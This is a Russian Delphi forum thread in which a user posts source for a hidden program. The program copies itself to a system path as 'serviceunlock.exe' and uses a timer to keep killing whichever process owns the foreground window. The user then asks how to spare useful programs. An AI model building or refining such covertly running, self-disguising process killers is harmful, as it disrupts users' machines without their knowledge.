Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Закрытая тема
Ваша тема закрыта, почему это могло произойти? Возможно,
Нет наработок или кода, если нужно готовое решение - создайте тему в разделе Фриланс и оплатите работу.
Название темы включает слова - "Помогите", "Нужна помощь", "Срочно", "Пожалуйста".
Название темы слишком короткое или не отражает сути вашего вопроса.
Тема исчерпала себя, помните, один вопрос - одна тема
Прочитайте правила и заново правильно создайте тему.
 
Опции темы Поиск в этой теме
Старый 26.03.2013, 22:52   #1
Айдар94941228
 
Регистрация: 02.10.2010
Сообщений: 4
По умолчанию Как отсеивать?

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls, TLHelp32;

type
TForm1 = class(TForm)
btn1: TButton;
Timer1: TTimer;
procedure btn1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

function KillTask(ExeFileName:String):intege r;
const Process_Terminate=$0001;
var ContinueLoop:BOOL;
FSnapShotHandle:THandle;
FProcessEntry32:TProcessEntry32;
begin
result:=0;
FSnapShotHandle:=CreateToolHelp32Sn apShot(TH32CS_SnapProcess,0);
FProcessEntry32.dwSize:=SizeOf(FPro cessEntry32);
continueLoop:=Process32First(FSnapS hotHandle,FProcessEntry32);
while integer(continueloop)<>0 do
begin
if ((UpperCase(ExtractFileName(FProces sEntry32.szExeFile))= UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFil e) = UpperCase(ExeFileName))) then
Result:=Integer(TerminateProcess(Op enProcess(Process_TERMINATE,bool(0) ,
FProcessEntry32.th32ProcessID),0));
ContinueLoop:=Process32Next(FSnapSh otHandle,FProcessEntry32);
end;
CloseHandle(FSnapShotHandle);
end;

Function HandleToFullPath(H: HWND): String; {какаято фигня, в гугле нашол. Тебе
советую тоже использовать гугл почаще}
Var
Pid:Cardinal;
M: TModuleEntry32;
HSnapshot: THandle;
Begin
Result:='';
GetWindowThreadProcessId(H,@Pid);
HSnapshot:=CreateToolhelp32Snapshot (TH32CS_SNAPMODULE,Pid);
If HSnapshot=-1 Then
Exit;
M.DwSize:=SizeOf(TModuleEntry32);
If Module32First(HSnapshot,M) Then
Result:=M.SzExePath;
CloseHandle(HSnapshot);
End;

procedure TForm1.btn1Click(Sender: TObject);
var
h:HWND;
p:string;
begin
h:=GetForegroundWindow; // получаем окно
p:=ExtractFileName(HandleToFullPath (h)); //получаем ТОЛЬКО имя екзешника
KillTask(p);
end;


procedure TForm1.Timer1Timer(Sender: TObject);
begin
btn1.Click;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
CopyFile(PChar(ParamStr(0)), PChar('%systemdryve%\serviceunlock. exe'), True);
application.ShowMainForm:=false;
end;

end.


программа завершает процессы которые поверх всех окон, но она также может закрывать и полезные проги которые и не поверх окон, как это исправить?
Айдар94941228 вне форума
Закрытая тема


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
как сам лабиринт ввести не как постоянную как тут а считыванием с файла Голем Помощь студентам 10 17.07.2010 18:07